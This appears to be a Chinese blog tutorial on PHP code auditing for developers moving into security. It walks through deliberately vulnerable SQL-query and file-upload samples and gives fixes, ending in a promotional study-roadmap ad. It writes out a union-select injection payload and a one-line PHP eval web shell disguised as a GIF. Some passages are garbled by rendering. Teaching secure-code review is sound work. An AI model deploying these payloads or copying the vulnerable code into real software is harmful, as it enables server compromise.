代码审计入门:从开发转行网络安全的优势技能(PHP 漏洞审计)

在这里插入图片描述

引言

很多开发同学转行网络安全时,会担心 “开发经验没用”—— 恰恰相反,开发经验是你的 “核心优势”。代码审计(找代码中的安全漏洞)就是开发转行的 “捷径”,因为你懂代码逻辑、熟悉语法特性,能快速定位 “用户输入→参数处理→代码执行” 的流程,而这正是代码审计的核心。本文以 PHP 代码审计为例(PHP 是 Web 开发中最常用的语言之一,漏洞也相对多),从 “审计准备→常见漏洞审计方法→实战案例” 展开,帮你把开发经验转化为安全竞争力。

一、先搞懂:代码审计是什么?为什么开发转行有优势?

1. 代码审计定义

代码审计是 “通过阅读、分析代码,发现其中安全漏洞的过程”—— 比如找 PHP 代码中 “未过滤的用户输入”“危险函数的滥用”,这些会导致 SQL 注入、XSS、文件上传等漏洞。

2. 开发转行的 3 个核心优势
  • 懂代码逻辑:能快速看懂 “用户输入怎么传到 SQL 语句”“文件怎么上传到服务器”,比非开发背景的人更容易定位漏洞点;

  • 熟语法特性:知道 PHP 中GET/_GET/G​ET/_POST是用户输入、mysql_query()是执行 SQL 语句、move_uploaded_file()是上传文件,不用再花时间学基础;

  • 知开发习惯:了解开发中常犯的错误(如 “图方便不用预编译”“只校验前端不校验后端”),能精准定位漏洞高发区。

3. PHP 代码审计准备(2 个核心)
(1)环境搭建
  • 审计工具

  • 编辑器:Sublime Text、VS Code(装 PHP 插件,方便看代码);

  • 专业工具:Seay 源代码审计系统(PHP 专用,能自动扫描常见漏洞,新手友好)、PHPStorm(功能强,适合看复杂项目);

  • 测试环境:WAMP/LAMP 环境(Windows 用 WAMP,Linux 用 LAMP),用于运行代码验证漏洞。

(2)必学 PHP 知识(不用全学,聚焦安全相关)
知识模块 核心内容 为什么重要
超全局变量 GET、_GET、G​ET、_POST、COOKIE、_COOKIE、C​OOKIE、_FILES 这些是用户输入的入口,漏洞大多从这里产生
数据库操作 mysql_query()(老版本)、PDO、mysqli 未正确使用会导致 SQL 注入
文件操作 move_uploaded_file()、fopen()、file_get_contents() 未校验会导致文件上传、文件包含漏洞
输出函数 echo、print、printf() 未转义会导致 XSS 漏洞
危险函数 eval()、exec()、system()、assert() 执行用户可控参数会导致命令执行漏洞

二、PHP 代码审计核心方法:“找入口→看处理→判风险”

代码审计不是 “瞎看代码”,而是有固定流程的 —— 核心是 “找用户输入入口→看代码怎么处理输入→判断是否有风险”,简称 “入口 - 处理 - 风险” 三步法。

1. 第一步:找 “用户输入入口”

所有漏洞的根源都是 “用户输入可控且未正确处理”,所以先找用户能控制的参数:

  • GET 参数:如GET[′id′]、_GET[‘id’]、G​ET[′id′]、_GET[‘name’](URL 中可修改);

  • POST 参数:如POST[′username′]、_POST[‘username’]、P​OST[′username′]、_POST[‘password’](表单提交,可抓包改);

  • Cookie 参数:如$_COOKIE[‘user’](客户端可修改,容易被忽视);

  • 文件上传:如$_FILES[‘file’](上传的文件名、内容可控)。

实战技巧:用 Seay 工具的 “查找超全局变量” 功能,一键定位所有用户输入点,不用手动找。

2. 第二步:看 “代码怎么处理输入”

找到入口后,跟踪参数的处理流程,看是否有 “过滤、校验、转义”:

  • 好的处理:过滤特殊字符(如addslashes())、用预编译语句(PDO)、HTML 转义(htmlspecialchars());

  • 坏的处理:无任何处理(直接拼 SQL、直接输出、直接上传)、只做前端校验(后端不校验)、过滤不彻底(如只过滤’没过滤union)。

3. 第三步:判 “是否有安全风险”

根据处理方式,判断是否会导致漏洞:

输入类型 处理方式 可能漏洞
GET/POST 参数 直接拼 SQL 语句,无过滤 SQL 注入
GET/POST 参数 直接echo输出,无转义 XSS
文件上传参数 只改后缀,不校验文件内容 文件上传
GET 参数 直接作为include()的参数,无过滤 文件包含
GET/POST 参数 作为eval()的参数,可控 命令执行

三、实战案例 1:SQL 注入漏洞审计(最常见)

1. 审计目标

一段处理文章查看的 PHP 代码(article.php),判断是否存在 SQL 注入漏洞。

2. 代码片段(有漏洞)
<?php
// 1. 接收用户输入(入口:$_GET['id'])
$id = $_GET['id'];

// 2. 连接数据库(省略数据库配置)
$conn = mysql_connect("localhost", "root", "123456");
mysql_select_db("test_db", $conn);

// 3. 处理输入:无任何过滤,直接拼 SQL 语句(处理:坏)
$sql = "SELECT * FROM article WHERE id=" . $id;

// 4. 执行 SQL 并输出结果
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
echo "文章标题:" . $row['title'] . "<br>";
echo "文章内容:" . $row['content'];
?>

3. 审计过程(用 “三步法”)
(1)找入口
  • 入口是$_GET[‘id’](用户可通过 URL 修改,如article.php?id=1)。
(2)看处理
  • 代码对id无任何过滤(没用地addslashes()、没转义),直接拼接到SQL语句:id无任何过滤(没用地addslashes()、没转义),直接拼接到 SQL 语句:id无任何过滤(没用地addslashes()、没转义),直接拼接到SQL语句:sql = “SELECT * FROM article WHERE id=” . $id。
(3)判风险
  • 风险:用户可构造id=1’,使 SQL 语句变成SELECT * FROM article WHERE id=1’,导致 SQL 语法错误;构造id=1 union select 1,database(),3,可查询数据库名,存在 SQL 注入漏洞。
4. 漏洞验证
  1. 在测试环境运行article.php?id=1’,页面报错:You have an error in your SQL syntax(确认漏洞存在);

  2. 运行article.php?id=1 union select 1,database(),3,页面显示数据库名test_db(验证漏洞可利用)。

5. 修复方案
  • 用 PDO 预编译语句(推荐):
$pdo = new PDO("mysql:host=localhost;dbname=test_db", "root", "123456");
$sql = "SELECT * FROM article WHERE id=:id"; // 预编译语句
$stmt = $pdo->prepare($sql);
$stmt->bindParam(':id', $id); // 绑定参数,自动过滤
$stmt->execute();

四、实战案例 2:文件上传漏洞审计(高风险)

1. 审计目标

一段处理头像上传的 PHP 代码(upload.php),判断是否存在文件上传漏洞。

2. 代码片段(有漏洞)
<?php
// 1. 接收文件上传参数(入口:$_FILES['avatar'])
$file = $_FILES['avatar'];
$filename = $file['name']; // 文件名(用户可控)
$tmp_path = $file['tmp_name']; // 临时文件路径
$upload_dir = "./upload/"; // 上传目录

// 2. 处理输入:只校验文件后缀(处理:坏)
$allow_ext = array("jpg", "jpeg", "png"); // 允许的后缀
$ext = strtolower(end(explode(".", $filename))); // 获取文件后缀

if (in_array($ext, $allow_ext)) {
    // 3. 执行上传:直接用原文件名保存(风险)
    $dest_path = $upload_dir . $filename;
    move_uploaded_file($tmp_path, $dest_path);
    echo "上传成功!文件路径:" . $dest_path;
} else {
    echo "不允许的文件类型!";
}
?>

3. 审计过程(用 “三步法”)
(1)找入口
  • 入口是$_FILES[‘avatar’](用户可控制上传的文件名和文件内容)。
(2)看处理
  • 处理方式:只校验文件后缀(ext是否在允许列表中),不校验文件内容;保存时用原文件名(ext是否在允许列表中),不校验文件内容;保存时用原文件名(ext是否在允许列表中),不校验文件内容;保存时用原文件名(filename用户可控)。
(3)判风险
  • 风险:用户可构造 “双后缀文件名”,如shell.php.jpg(后缀是jpg,绕过校验),但服务器可能解析为 PHP 文件(如 Nginx 有解析漏洞);或修改文件内容为 PHP 木马(<?php eval($\_POST\['cmd'\]);?>),上传后执行代码,存在文件上传漏洞。
4. 漏洞验证
  1. 准备文件:新建shell.php.jpg,内容:GIF89a<?php @eval($\_POST\['cmd'\]);?>(加GIF89a伪装图片);

  2. 用表单上传该文件,页面显示 “上传成功!文件路径:./upload/shell.php.jpg”;

  3. 访问http://localhost/upload/shell.php.jpg,用中国蚁剑连接(URL 填该路径,密码cmd),连接成功(验证漏洞可利用)。

5. 修复方案
  • 综合校验:校验后缀 + 校验文件 MIME 类型 + 校验文件内容 + 重命名文件:
// 1. 校验 MIME 类型
$allow_mime = array("image/jpeg", "image/png");
$mime = $file['type'];
if (!in_array($mime, $allow_mime)) die("不允许的 MIME 类型!");

// 2. 校验文件内容(用 getimagesize() 确认是图片)
$image_info = getimagesize($tmp_path);
if (!$image_info) die("不是合法图片!");

// 3. 重命名文件(避免用户控制文件名)
$new_filename = uniqid() . "." . $ext;
$dest_path = $upload_dir . $new_filename;

五、开发转行代码审计的 3 个建议

  1. 从 “小项目” 入手:先审计单文件 PHP 代码(如本文的article.php、upload.php),再审计小型 CMS(如 Dedecms 5.7、MetInfo 6.0),逐步过渡到复杂项目;

  2. “以漏洞为导向” 学习:先学 “SQL 注入、文件上传、XSS” 这 3 个高频漏洞的审计方法,每个漏洞审计 5-10 个案例,再学其他漏洞;

  3. 利用 “开发思维”:思考 “如果我是开发,会怎么写这段代码?”“哪里容易偷懒不写校验?”,比如开发常忽略 Cookie 参数的过滤,这就是漏洞高发区。

转行应用
  • 简历写法:“具备 2 年 PHP 开发经验,擅长 PHP 代码审计,能通过‘入口 - 处理 - 风险’三步法定位 SQL 注入、文件上传等漏洞;曾审计 Dedecms 5.7 源码,发现 2 处文件上传漏洞,提供修复方案并提交厂商”;

  • 面试应对:被问 “怎么审计一个 PHP 项目?” 时,答 “先找用户输入入口((_GET/)_POST/$_FILES),再跟踪参数处理流程,看是否有过滤 / 校验,最后判断是否导致漏洞;常用 Seay 工具辅助定位,结合手动分析确认漏洞”。

评论区说说你熟悉的开发语言,帮你定制对应的代码审计学习计划!

网络安全的知识多而杂,怎么科学合理安排?

下面给大家总结了一套适用于网安零基础的学习路线,应届生和转行人员都适用,学完保底6k!就算你底子差,如果能趁着网安良好的发展势头不断学习,日后跳槽大厂、拿到百万年薪也不是不可能!

😝有需要的小伙伴,可以vx扫描下方二维码免费领取🆓
在这里插入图片描述

第一阶段(打好基础)

网络安全行业与法规
Linux操作系统
计算机网络基础课程
HTML基础课程
PHP零基础课程
MySQL基础课程
图解Python语法

第二阶段(初级渗透)

信息收集
WEB安全
漏洞扫描
APP渗透
渗透工具
漏洞复现
实战挖洞

第三阶段(高级渗透)

渗透框架
权限提升
权限维持
隧道技术
内网渗透
溯源取证
无线安全
DDOs攻防

第四阶段(安全管理)

等级保护
风险评估
应急响应
数据安全
面试就业指导

第五阶段 (二进制逆向)

c语言
c++
汇编语言
安卓逆向
Windows逆向
免杀-反杀毒技术

在这里插入图片描述

四、网络安全学习资料

如果你是准备学习网络安全或者正在学习,下面这些你应该能用得上:

①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析

😝有需要的小伙伴,可以点击下方链接免费领取或者V扫描下方二维码免费领取🆓
在这里插入图片描述

Logo

Agent 垂直技术社区,欢迎活跃、内容共建。

更多推荐